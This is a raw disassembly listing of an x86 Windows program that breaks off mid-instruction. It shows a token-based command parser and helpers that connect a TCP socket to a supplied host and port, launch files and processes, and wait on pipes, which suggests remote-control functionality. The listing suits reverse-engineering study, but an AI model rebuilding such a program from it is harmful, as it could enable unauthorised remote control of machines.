loc_41BC2F cmp al, 9 jz short loc_41BC2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BC2F: ; CODE XREF: ___:0041BC26j ; ___:0041BC2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: ___:00401ED8j mov eax, [esp+4] push offset dword_443E8C push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BC74 push eax nop call near ptr 77C40AB1h add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BC74: ; CODE XREF: ___:0041BC65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BC90 proc near ; CODE XREF: sub_401479j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BEEE mov esi, offset byte_446F70 mov eax, edi loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BCD2 test cl, cl jz short loc_41BCCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BCD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BCAA loc_41BCCE: ; CODE XREF: sub_41BC90+26j xor eax, eax jmp short loc_41BCD7 ; --------------------------------------------------------------------------- loc_41BCD2: ; CODE XREF: sub_41BC90+22j ; sub_41BC90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BCD7: ; CODE XREF: sub_41BC90+40j test eax, eax jz loc_41BEEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_50FAF4 lea ecx, [esp+4Ch+var_20] push offset dword_443DD4 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BEEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BD17: ; CODE XREF: sub_41BC90+A4j push offset dword_443DD4 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BEEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BD17 mov ebp, [esp+40h+var_30] mov esi, offset dword_443EA8 mov eax, ebp loc_41BD41: ; CODE XREF: sub_41BC90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BD69 test dl, dl jz short loc_41BD65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BD69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD41 loc_41BD65: ; CODE XREF: sub_41BC90+BDj xor eax, eax jmp short loc_41BD6E ; --------------------------------------------------------------------------- loc_41BD69: ; CODE XREF: sub_41BC90+B9j ; sub_41BC90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BD6E: ; CODE XREF: sub_41BC90+D7j test eax, eax jnz short loc_41BD7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BD7C: ; CODE XREF: sub_41BC90+E0j mov esi, offset dword_443EA4 mov eax, ebp loc_41BD83: ; CODE XREF: sub_41BC90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BDAB test dl, dl jz short loc_41BDA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BDAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD83 loc_41BDA7: ; CODE XREF: sub_41BC90+FFj xor eax, eax jmp short loc_41BDB0 ; --------------------------------------------------------------------------- loc_41BDAB: ; CODE XREF: sub_41BC90+FBj ; sub_41BC90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDB0: ; CODE XREF: sub_41BC90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BDFA mov esi, offset dword_443EA0 mov edx, edi loc_41BDBF: ; CODE XREF: sub_41BC90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BDE7 test bl, bl jz short loc_41BDE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BDE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BDBF loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj xor edx, edx jmp short loc_41BDEC ; --------------------------------------------------------------------------- loc_41BDE7: ; CODE XREF: sub_41BC90+137j ; sub_41BC90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BDEC: ; CODE XREF: sub_41BC90+155j test edx, edx jnz short loc_41BDFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BDFA: ; CODE XREF: sub_41BC90+126j ; sub_41BC90+15Ej mov esi, offset dword_443E9C mov edx, ebp loc_41BE01: ; CODE XREF: sub_41BC90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE29 test bl, bl jz short loc_41BE25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE01 loc_41BE25: ; CODE XREF: sub_41BC90+17Dj xor edx, edx jmp short loc_41BE2E ; --------------------------------------------------------------------------- loc_41BE29: ; CODE XREF: sub_41BC90+179j ; sub_41BC90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE2E: ; CODE XREF: sub_41BC90+197j test edx, edx jnz short loc_41BE74 mov esi, offset dword_443E98 mov edx, edi loc_41BE39: ; CODE XREF: sub_41BC90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE61 test bl, bl jz short loc_41BE5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE39 loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j xor edx, edx jmp short loc_41BE66 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BC90+1B1j ; sub_41BC90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE66: ; CODE XREF: sub_41BC90+1CFj test edx, edx jnz short loc_41BE74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE74: ; CODE XREF: sub_41BC90+1A0j ; sub_41BC90+1D8j mov esi, offset dword_443E94 mov ecx, ebp loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BEA3 test dl, dl jz short loc_41BE9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BEA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BE7B loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j xor ecx, ecx jmp short loc_41BEA8 ; --------------------------------------------------------------------------- loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j ; sub_41BC90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BEA8: ; CODE XREF: sub_41BC90+211j test ecx, ecx jnz short loc_41BEEE mov esi, offset dword_443E90 mov eax, edi loc_41BEB3: ; CODE XREF: sub_41BC90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BEDB test cl, cl jz short loc_41BED7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BEDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BEB3 loc_41BED7: ; CODE XREF: sub_41BC90+22Fj xor eax, eax jmp short loc_41BEE0 ; --------------------------------------------------------------------------- loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj ; sub_41BC90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEE0: ; CODE XREF: sub_41BC90+249j test eax, eax jnz short loc_41BEEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEEE: ; CODE XREF: sub_41BC90+Dj ; sub_41BC90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BC90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BFA0 proc near ; CODE XREF: sub_402004j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C008 cmp esi, 0FFFFFFFFh jz short loc_41C008 mov eax, [esp+18h+arg_0] push eax nop call near ptr 71AB2BF4h mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41BFF9 mov bl, 1 loc_41BFF9: ; CODE XREF: sub_41BFA0+55j push esi call near ptr 71AB9639h nop mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C008: ; CODE XREF: sub_41BFA0+18j ; sub_41BFA0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41BFA0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C030 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h cmp eax, 20h setnl al retn sub_41C030 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_402149j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h call near ptr 27F0000h nop test eax, eax setnle al pop edi add esp, 54h retn sub_41C070 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C0E0: ; CODE XREF: ___:00401875j sub esp, 354h mov eax, off_443EB4 mov ecx, dword_443EB8 mov [esp+0], eax mov al, byte_446F70 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EBC rep stosd mov ecx, off_443EAC mov [esp+10h], edx mov dx, word_443EB0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 27A0000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50BB8C push offset dword_50BB8C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_436FA8 ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C1C8 cmp eax, 4C3h jnz short loc_41C1D1 loc_41C1C8: ; CODE XREF: ___:0041C1BFj push edi push edi push edi push esi call sub_436FA8 ; --------------------------------------------------------------------------- loc_41C1D1: ; CODE XREF: ___:0041C1C6j pop edi cmp eax, 5 pop esi jz short loc_41C1E8 cmp eax, 4C3h jz short loc_41C1E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C1E8: ; CODE XREF: ___:0041C1D6j ; ___:0041C1DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C250: ; CODE XREF: ___:00401EC9j sub esp, 354h mov eax, off_443EB4 mov ecx, dword_443EB8 mov [esp+0], eax mov al, byte_446F70 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EBC rep stosd mov ecx, off_443EAC mov [esp+10h], edx mov dx, word_443EB0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 call near ptr 27A0000h nop mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C338 mov esi, dword_50F8D0 loc_41C31C: ; CODE XREF: ___:0041C336j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C31C loc_41C338: ; CODE XREF: ___:0041C314j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C390 proc near ; CODE XREF: sub_401D7Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C390 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_41C390 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+118h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+60h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019B5 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C610 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C610 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_401424 lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_401424 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401424 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401424 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401424 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B36 mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C83C push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C7CC mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C7CE ; --------------------------------------------------------------------------- loc_41C7CC: ; CODE XREF: sub_41C610+1AFj xor edi, edi loc_41C7CE: ; CODE XREF: sub_41C610+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C83C: ; CODE XREF: sub_41C610+C0j lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41C9BB push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41C94B mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C94D ; --------------------------------------------------------------------------- loc_41C94B: ; CODE XREF: sub_41C610+32Ej xor edi, edi loc_41C94D: ; CODE XREF: sub_41C610+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C9BB: ; CODE XREF: sub_41C610+23Fj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CBF6 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C94 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016AE push offset word_44759A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CB5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41CB5E: ; CODE XREF: sub_41C610+4D6j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CB86 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CB88 ; --------------------------------------------------------------------------- loc_41CB86: ; CODE XREF: sub_41C610+569j xor edi, edi loc_41CB88: ; CODE XREF: sub_41C610+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FBE lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FBE lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CBF6: ; CODE XREF: sub_41C610+3BEj lea ecx, [ebp+0BCh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CD9B push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CD0E mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CD10 ; --------------------------------------------------------------------------- loc_41CD0E: ; CODE XREF: sub_41C610+6F1j xor edi, edi loc_41CD10: ; CODE XREF: sub_41C610+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CD9B: ; CODE XREF: sub_41C610+5FCj lea ecx, [ebp+118h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CF40 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 14h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add 